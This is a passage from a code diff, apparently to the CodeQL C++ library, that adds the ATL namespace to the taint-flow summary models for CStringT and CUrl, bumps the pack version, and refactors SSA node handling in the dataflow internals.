-      - ["", "CStringT", True, "Insert", "(int,PCXSTR)", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Insert", "(int,XCHAR)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Left", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "Right", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "LoadString", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "LoadString", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "MakeLower", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "MakeReverse", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "MakeUpper", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "Mid", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "Replace", "(PCXSTR,PCXSTR)", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "Replace", "(XCHAR,XCHAR)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
-      - ["", "CStringT", True, "SetSysString", "", "", "Argument[-1]", "ReturnValue", "value", "manual"]
-      - ["", "CStringT", True, "SetSysString", "", "", "Argument[-1]", "Argument[**0]", "value", "manual"]
-      - ["", "CStringT", True, "SpanExcluding", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "SpanIncluding", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "Tokenize", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
-      - ["", "CStringT", True, "Trim", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "TrimLeft", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "TrimRight", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CStringT", True, "operator=", "(const CStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const CStringT &)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(PCYSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(PCYSTR)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const unsigned char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(XCHAR)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(XCHAR)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(YCHAR)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(YCHAR)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const VARIANT &)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
-      - ["", "CStringT", True, "operator=", "(const VARIANT &)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,const CStringT &)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,PCXSTR)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(PCXSTR,const CStringT &)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(char,const CStringT &)", "", "Argument[0]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(char,const CStringT &)", "", "Argument[*1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,char)", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,char)", "", "Argument[1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,wchar_t)", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(const CStringT &,wchar_t)", "", "Argument[1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(wchar_t, const CStringT &)", "", "Argument[0]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+", "(wchar_t,const CStringT &)", "", "Argument[*1]", "ReturnValue", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const CStaticString &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCXSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCYSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCYSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(PCYSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(unsigned char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(unsigned char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(unsigned char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(wchar_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(wchar_t)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const VARIANT &)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const VARIANT &)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
-      - ["", "", True, "operator+=", "(const VARIANT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
\ No newline at end of file
+      - ["ATL", "CStringT", True, "CStringT", "(const VARIANT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const VARIANT &,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const CStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const XCHAR *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const YCHAR *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(LPCSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(LPCWSTR,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(wchar_t *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const unsigned char *,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(char,int)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(wchar_t,int)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const XCHAR *,int)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const YCHAR *,int)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const XCHAR *,int,AtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "CStringT", "(const YCHAR *,int,IAtlStringMgr *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "AllocSysString", "", "", "Argument[-1]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "AppendFormat", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Format", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(PCXSTR,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessage", "(UINT,...)", "", "Argument[*1..8]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessageV", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatMessageV", "", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatV", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "FormatV", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Insert", "(int,PCXSTR)", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Insert", "(int,XCHAR)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Left", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Right", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "LoadString", "", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "LoadString", "", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "MakeLower", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "MakeReverse", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "MakeUpper", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Mid", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Replace", "(PCXSTR,PCXSTR)", "", "Argument[*1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Replace", "(XCHAR,XCHAR)", "", "Argument[1]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "SetSysString", "", "", "Argument[-1]", "ReturnValue", "value", "manual"]
+      - ["ATL", "CStringT", True, "SetSysString", "", "", "Argument[-1]", "Argument[**0]", "value", "manual"]
+      - ["ATL", "CStringT", True, "SpanExcluding", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "SpanIncluding", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Tokenize", "", "", "Argument[-1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "CStringT", True, "Trim", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "TrimLeft", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "TrimRight", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const CStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const CStringT &)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(PCYSTR)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(PCYSTR)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const unsigned char *)", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const unsigned char *)", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(XCHAR)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(XCHAR)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(YCHAR)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(YCHAR)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const VARIANT &)", "", "Argument[0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CStringT", True, "operator=", "(const VARIANT &)", "", "Argument[0]", "ReturnValue[*]", "value", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,const CStringT &)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,PCXSTR)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(PCXSTR,const CStringT &)", "", "Argument[*0..1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(char,const CStringT &)", "", "Argument[0]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(char,const CStringT &)", "", "Argument[*1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,char)", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,char)", "", "Argument[1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,wchar_t)", "", "Argument[*0]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(const CStringT &,wchar_t)", "", "Argument[1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(wchar_t, const CStringT &)", "", "Argument[0]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+", "(wchar_t,const CStringT &)", "", "Argument[*1]", "ReturnValue", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CSimpleStringT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CStaticString &)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const CStaticString &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCXSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCXSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCYSTR)", "", "Argument[*0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCYSTR)", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(PCYSTR)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(unsigned char)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(unsigned char)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(unsigned char)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(wchar_t)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(wchar_t)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(wchar_t)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const VARIANT &)", "", "Argument[0]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const VARIANT &)", "", "Argument[0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "", True, "operator+=", "(const VARIANT &)", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/ext/CUrl.model.yml b/cpp/ql/lib/ext/CUrl.model.yml
index db51b205d4b5..4f71f64a5a6e 100644
--- a/cpp/ql/lib/ext/CUrl.model.yml
+++ b/cpp/ql/lib/ext/CUrl.model.yml
@@ -3,20 +3,20 @@ extensions:
       pack: codeql/cpp-all
       extensible: summaryModel
     data: # TODO this model can be improved a lot once we have MapKey content # namespace, type, subtypes, name, signature, ext, input, output, kind, provenance
-      - ["", "CUrl", True, "CUrl", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CUrl", True, "CrackUrl", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "CreateUrl", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
-      - ["", "CUrl", True, "GetExtraInfo", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "GetHostName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "GetPassword", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "GetSchemeName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "GetUrlPath", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "GetUserName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
-      - ["", "CUrl", True, "SetExtraInfo", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "SetHostName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "SetPassword", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "SetSchemeName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "SetUrlPath", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "SetUserName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
-      - ["", "CUrl", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
-      - ["", "CUrl", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
+      - ["ATL", "CUrl", True, "CUrl", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CUrl", True, "CrackUrl", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "CreateUrl", "", "", "Argument[-1]", "Argument[*0]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetExtraInfo", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetHostName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetPassword", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetSchemeName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetUrlPath", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "GetUserName", "", "", "Argument[-1]", "ReturnValue[*]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetExtraInfo", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetHostName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetPassword", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetSchemeName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetUrlPath", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "SetUserName", "", "", "Argument[*0]", "Argument[-1]", "taint", "manual"]
+      - ["ATL", "CUrl", True, "operator=", "", "", "Argument[*0]", "Argument[-1]", "value", "manual"]
+      - ["ATL", "CUrl", True, "operator=", "", "", "Argument[*0]", "ReturnValue[*]", "value", "manual"]
\ No newline at end of file
diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml
index cf30b0fe296e..2f9e0a91ca63 100644
--- a/cpp/ql/lib/qlpack.yml
+++ b/cpp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/cpp-all
-version: 4.0.3
+version: 4.1.0
 groups: cpp
 dbscheme: semmlecode.cpp.dbscheme
 extractor: cpp
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
index c169567e8b5e..f6371e5b696c 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/DataFlowPrivate.qll
@@ -1318,7 +1318,7 @@ predicate nodeIsHidden(Node n) {
   or
   n instanceof InitialGlobalValue
   or
-  n instanceof SsaPhiInputNode
+  n instanceof SsaSynthNode
 }
 
 predicate neverSkipInPathGraph(Node n) {
@@ -1520,16 +1520,17 @@ private EdgeKind caseOrDefaultEdge() {
 private int countNumberOfBranchesUsingParameter(SwitchInstruction switch, ParameterNode p) {
   exists(Ssa::SourceVariable sv |
     parameterNodeHasSourceVariable(p, sv) and
-    // Count the number of cases that use the parameter. We do this by finding the phi node
-    // that merges the uses/defs of the parameter. There might be multiple such phi nodes, so
-    // we pick the one with the highest edge count.
+    // Count the number of cases that use the parameter.
     result =
-      max(SsaPhiNode phi |
-        switch.getSuccessor(caseOrDefaultEdge()).getBlock().dominanceFrontier() =
-          phi.getBasicBlock() and
-        phi.getSourceVariable() = sv
-      |
-        strictcount(phi.getAnInput())
+      strictcount(IRBlock caseblock |
+        exists(IRBlock useblock |
+          switch.getSuccessor(caseOrDefaultEdge()).getBlock() = caseblock and
+          caseblock.dominates(useblock)
+        |
+          exists(Ssa::UseImpl use | use.hasIndexInBlock(useblock, _, sv))
+          or
+          exists(Ssa::DefImpl def | def.hasIndexInBlock(useblock, _, sv))
+        )
       )
   )
 }
@@ -1631,9 +1632,7 @@ private Instruction getAnInstruction(Node n) {
   not n instanceof InstructionNode and
   result = n.asOperand().getUse()
   or
-  result = n.(SsaPhiNode).getPhiNode().getBasicBlock().getFirstInstruction()
-  or
-  result = n.(SsaPhiInputNode).getBasicBlock().getFirstInstruction()
+  result = n.(SsaSynthNode).getBasicBlock().getFirstInstruction()
   or
   n.(IndirectInstruction).hasInstructionAndIndirectionIndex(result, _)
   or
@@ -1765,14 +1764,14 @@ module IteratorFlow {
      * Note: Unlike `def.getAnUltimateDefinition()` this predicate also
      * traverses back through iterator increment and decrement operations.
      */
-    private Ssa::DefinitionExt getAnUltimateDefinition(Ssa::DefinitionExt def) {
+    private Ssa::Definition getAnUltimateDefinition(Ssa::Definition def) {
       result = def.getAnUltimateDefinition()
       or
       exists(IRBlock bb, int i, IteratorCrementCall crementCall, Ssa::SourceVariable sv |
         crementCall = def.getValue().asInstruction().(StoreInstruction).getSourceValue() and
         sv = def.getSourceVariable() and
         bb.getInstruction(i) = crementCall and
-        Ssa::ssaDefReachesReadExt(sv, result, bb, i)
+        Ssa::ssaDefReachesRead(sv, result, bb, i)
       )
     }
 
@@ -1800,13 +1799,13 @@ module IteratorFlow {
       GetsIteratorCall beginCall, Instruction writeToDeref
     ) {
       exists(
-        StoreInstruction beginStore, IRBlock bbStar, int iStar, Ssa::DefinitionExt def,
-        IteratorPointerDereferenceCall starCall, Ssa::DefinitionExt ultimate, Operand address
